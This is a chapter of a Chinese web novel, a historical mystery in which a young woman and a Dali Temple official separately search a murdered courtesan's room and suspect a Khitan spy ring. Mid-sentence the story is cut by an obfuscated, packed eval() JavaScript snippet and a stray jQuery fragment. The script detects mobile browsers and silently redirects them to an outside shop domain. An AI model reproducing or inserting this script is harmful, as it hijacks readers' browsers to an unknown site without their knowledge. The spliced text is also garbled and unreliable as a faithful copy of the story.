“知禾,你很喜欢这副耳环啊?”
牡丹见她看得这么出神,便伸手在她面前晃了晃。
“啊?我就是觉得这个造型挺别致的,好像不太常见。”
“也没有吧,我记得于鸨母还有其他几个姐妹都有类似的耳环。”
“和这个造型相同?”
丁知禾有些吃惊的看着牡丹。
“对啊,她们偶尔也会戴,可能是之前一起在金铺打的,你若是喜欢我可以去帮你问问是哪家金铺,到时候我买一副送你。”
牡丹并没有发现丁知禾的异常。
“不用了,我不喜欢耳环,戴起来太累赘了,我就是随口问问。相比耳环,我还是觉得这副珍珠耳坠更好看一些。”
丁知禾将耳环放下,从桌子上拿起了一对饱满圆润的珍珠耳坠。
“我给你戴上试试!”
牡丹见她喜欢,就帮她把这副珍珠耳坠戴上了。
这一对耳坠上的珍珠虽然不是太大,可光泽和形状都是一等一的好,戴在耳朵上没有那么招摇,却添了几分温润与灵动。
“好看!正好我这里还有一支珍珠簪,我给你戴上搭配一下。”
牡丹又往丁知禾的发髻上插了一支珍珠簪,还有几朵粉色的珠花。
头上多了一些饰品,丁知禾的整张脸都显得明艳起来。
她的五官虽没有太过精致,可整张脸很小,肤色又很白,哪怕是近距离看也没有瑕疵,宛若一块上好的羊脂白玉。
尤其是那双圆圆的杏眼,微微下垂的眼角带着些无辜,清丽脱俗却又带着些柔软的可爱。
“你看,这么一打扮多好看,妥妥的纯欲风!”
丁知禾看着镜子里的自己,也挺满意的。
牡丹大方的一挥手:“这几样首饰很适合你,就送给你了,不然我也戴不过来。”
丁知禾连忙挥手拒绝:“这些太贵重了,我不能要。”
“我给你,你就拿着,不然我就生气了啊!”
牡丹故作恼怒的样子。
丁知禾却还是有些犹豫。
“你若是真的不好意思,那今晚就留下来陪我住吧,以后再多给我做一些好吃的!”
自从紫云在她的卧房被杀之后,那间卧房就被大理寺的人贴上了封条,她简单收拾了一下自己的贴身物品,之后就搬到了现在的这间卧房。
但是这间卧房本就是其他人挑剩下的,位置有些偏僻,并没有其他人在这边住。
再加上这段时间醉月楼都没有正式开张,没有客人来,楼里异常的冷清,所以她一个人住在这间卧房里还真有些怕。
尤其是到了晚上,她经常会做噩梦,每次惊醒之后也不敢再睡了。
她与楼里的其他人并不亲近,本就是竞争关系,她出名之后很多人都看她不顺眼,现在能让她感到亲切的也就只有丁知禾了,若是有丁知禾陪在她身边,她多少会安心一些,睡个好觉。
看着牡丹那期待的眼神,丁知禾实在不忍拒绝,便点头答应下来。
“那好吧,正好我今天不出摊,就陪你住一晚吧,至于好吃的,以后你想吃什么尽管和我说,我保证满足你!”
“太好了!”
牡丹脸上露出笑容,亲热的抱了丁知禾一下。
不过丁知禾要留在醉月楼住一晚,她必须提前告知于鸨母。
于是,在房间里待了片刻后,牡丹就带着丁知禾去见了于鸨母。
老鸨看着两人,叹了口气说道:“住下便住下吧,反正这段时间醉月楼也做不成生意了,有人能给你做伴也好。
不过你们不要在这楼里乱走,尤其是你那间被大理寺封起来的卧房,若是大理寺的人追查起来,咱们谁也担待不起!”
“我知道的,那我们就不打扰鸨母休息了。”
牡丹拉着丁知禾转身离开,在穿过走廊的时候,丁知禾注意到最东边的一间房是被上了锁的。
“这是紫云住的卧房,从她出事之后,于鸨母便让人将这间卧房锁了起来,她说有些晦气,让我们谁都不要靠近,所以若是你今晚起夜,最好也绕开这里。”
牡丹看着那间卧房的方向,小声的叮嘱丁知禾。
“好。”
丁知禾嘴上答应的痛快,心里却在盘算着今晚一定要来这间房间看看,说不定就能找到什么线索呢。
毕竟她现在非常怀疑紫云,还有这醉月楼中其他人的身份。
她这不只是在帮谷博,也是在帮她自己。
——
天色渐晚,往日里最是繁华热闹的醉月楼,此刻却是门庭冷落。
大街上走过的行人甚至会绕着这里走,毕竟现在汴京城里的人基本上都知道这楼里发生了凶杀案,没人想找这个晦气。
漆黑的夜色下,一道身穿黑衣的身影顺着后院的侧墙飞入院内,身形飞快的上了二楼。
卫琢直奔西边的一间卧房而去,他的听力极好,在门口侧耳听了几息的时间,就确定这间卧房里面现在没有人。
他没有丝毫的犹豫,推开门快步走了进去。
屋子里的光线十分昏暗,卫琢先走到了床榻边,搜查了一遍之后,他并未在床榻处发现任何东西。
他的视线转而看向了一旁的梳妆台,只是他刚走到桌前,突然就听到外面传来了一阵由远及近的脚步声。
卫琢朝屋内扫了一圈,当即飞身上了屋内的横梁,在一处角落靠坐下来。
没一会儿,卧房的门就被人推开了,一道有些肥胖的身影走了进来。
屋内的灯被点亮,于鸨母在梳妆台前坐下,用梳子重新梳了一个发髻,在脸上抹上胭脂和口脂之后,她又起身点燃了屋里的熏香。
一刻钟之后,卫琢再次听到了外面传来的脚步声,只是这次的脚步声更重,也更沉稳,来人明显是有功夫在身上的,他下意识放轻了呼吸。
很快,房门被推开,一道高大的身影快速地走了进来。
于鸨母起身迎了上去,嘴里说的话却不怎么好听。
“怎么来的这么晚?我看你是又去和哪个小妖精私会去了吧!”
“这附近有大理寺的差役在盯着,为了避开他们的视线,我费了好大功夫,这才来得晚了。”
男人声音低沉,走到于鸨母面前,握住了她的手。
于鸨母甩开他的手,冷哼一声:“别以为我不知道你在外面做的那些事情,我是人老珠黄了,但我还没糊涂!”
“三娘,你这是什么话?那些女人不过是供人玩乐的玩意罢了,怎么能和你比呢?
这些年多亏了你,我才能立下这么多的功劳,受到可汗的重用,你在我心里才是最重要的。”
“那你告诉我,紫云肚子里的孩子是怎么回事?她怀的是不是你的种!”
于鸨母几乎是咬牙切齿的问出了这句话。
男人抱住了于鸨母,开口解释:“不是我的,我从来没有碰过她。”
“事已至此,你还不承认!紫云最常见的就是你,若她肚子里的孩子不是你的,还能是谁的?”
“紫云可没有你想得那么安分,她早就背着咱们偷偷勾搭上了上面的人。她的野心不小,肚子也还算争气,只是可惜啊,她这样的身份竟还敢肖想更多,殊不知她肚子里的孩子就是她的催命符!”
一听这话,于鸨母才变了脸色,她狐疑的看着面前的男人。
“你说的是真的?”
“三娘,你还不信我吗?更何况紫云那丫头有什么好的,哪里比得上你?”
“那到底是谁杀了她?你把话和我说清楚。”
“我对此事也不太了解,但应当是和那位有关,你就别多问了,知道太多对你没什么好处。”
话说完,男人就开始对于鸨母动手动脚。
老鸨半推半就,和男人一起走向了床榻。
两人的衣物都被扔到了床下,房间里很快就传来了不可描述的声音。
坐在横梁上的卫琢皱紧了眉头,脸早已黑了下来,眼底尽是嫌恶。
不知道过了多久,床榻那边的动静才终于停下,两人再度交谈起来。
“紫云一死,醉月楼的生意都受到了影响,最近你就不要经常过来了,若是有重要的消息,我会让人给你送过去。”
于鸨母的声音里多了几分娇媚,肥胖的身体都压在了男人身上。
“好,你也要小心一点,现在的大理寺卿是景王世子卫琢,他可不是一个好对付的角色,万一被他发现什么,我们恐怕会功亏一篑。”
“你放心,凶案一出,我就叮嘱我们的人行事要更加谨慎,还主动叫人去大理寺报了案,卫琢怎么也不会怀疑醉月楼有问题。
不过紫云死了,总要有一个人来顶替她的位置,楼里其他人都不太合适,部落那边可能还会派其他人过来,你最好多留意一下,别让其他人钻了空子。”
男人点了点头:“我会的,时间不早了,我先回去了。”
于鸨母虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629039|204845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是有些不舍,但终究还是没说什么,她和男人一起起身,伺候他穿上衣服之后就看着他转身离开了。
待于鸨母重新躺回床榻上,口中发出轻微的鼾声后,横梁上的卫琢才轻巧的一跃,稳稳落到地上。
他怕惊动床榻上的人,并没有继续搜查下去,而是跳窗离开了这间卧房。
卫琢沿着屋顶一路走到了东边一处窗户前,他的手臂微微用力,窗户便打开了,他一个翻身跳进了屋内。
现在他已经确定,这醉月楼恐怕就是契丹人在大梁朝的一处据点,这房间是紫云生前住的地方,在这里或许能找到一些线索。
卫琢快速的搜寻起来,只是渐渐的,他却觉得自己的身上越来越热,全身的血液都在不停的叫嚣着,似是有什么东西要冲出体内。
察觉到自己身体的反应,卫琢眼中就闪过了怒意。
他这是中药了!
是那老鸨屋里的熏香!
该死!卫琢在心中暗骂了一句,他不敢继续耽误下去,连忙加快了搜寻的速度。
可就在此时,窗户外竟然又有了动静,卫琢只能又跳上了横梁藏好,他的双目紧紧盯着那扇窗户。
只见那窗户被人打开了一条缝,一个脑袋先探进来望了望,然后才有些笨拙的从窗户外面翻了进来。
这人的动作不太熟练,翻进来的时候还不小心摔到了地上。
“哎呦!”
轻微的吸气声传来,那人影揉了揉自己的屁股,慢慢站了起来。
借着窗外透过来的昏暗光线,卫琢看清了进来的人。
竟然是丁知禾!
他的眼睛眯了眯,看着丁知禾在房间里翻腾起来。
她来这里找什么?难道她和紫云的死有关?
见丁知禾背对着他在床榻边翻找,卫琢当即从横梁上跃下,几步走到了丁知禾身后。
丁知禾还没有反应过来,就感觉自己的脖颈处传来一阵凉意,低头一看就发现是一把十分锋利的匕首。
她心头一紧,全身的汗毛都竖了起来。
这房间里什么时候多了一个人,她怎么一点声音都没听见?
“那个……这位好汉,咱们有话好好说,你千万别冲动。”
她的小命就在对方手里,还是先想办法脱困吧。
“你在找什么?”
一听这声音,丁知禾的眼中就闪过了震惊。
“你是……卫大人?”
卫琢将手上的匕首松了松。
丁知禾转头看过来,果然就看见了一张熟悉的脸。
“大人,还真是你啊,你怎么会在这里?”
“这话应该我问你才对,丁知禾,你刚才在找什么?”
丁知禾有些慌,她怎么就这么倒霉啊,本想着偷偷过来调查一番,却没想到卫琢竟然会出现在这里。
她不能让卫琢知道她和谷博之间的关系,只能找别的借口。
死脑子,快想啊!
丁知禾被卫琢那凌厉的目光看得越发心虚了。
“若是你不能给出一个合理的回答,我就只能将你带回大理寺,大刑伺候了!”
卫琢的语气带着刺骨的寒意,丁知禾丝毫不怀疑他这话的真实性。
她脸上挤出了一个勉强的笑容,解释道:“大人,我……我其实是来这里找线索的,你能不能先将匕首放下,听我慢慢和你说。”
两人间的距离太近,卫琢闻到了从女人身上散发出的淡淡幽香,身体更加发烫,他收回匕首,身体往后退了两步,双眸却是一直盯着丁知禾。
“上次见过牡丹花魁之后,我和她一见如故,今天我就是来醉月楼看她的,但是在和她的交谈中,我发现了一件事情。
紫云她很可能是契丹人,还有于鸨母和楼里的其他人,她们都有可能是契丹人。”
一听这话,卫琢的眼神顿时就变了,他是从谷博口中得到的这条线索,丁知禾是怎么发现的?
“你如何得知?”
“牡丹那里有一副紫云送给她的耳环,那耳环的形状很是奇特,是契丹贵族所喜欢的摩羯形,牡丹说于鸨母和楼内的其他几人也都有类似形状的饰品,所以我才有了这个猜测。
大理寺之前不是张贴过告谕,只要有人能提供和案件相关的线索,就会发放赏金,我到这里来主要是想看看能不能找到更有用的线索,好换取更多的赏金!”
丁知禾小心翼翼的说完后,就朝卫琢露出了一个有些讨好的笑容。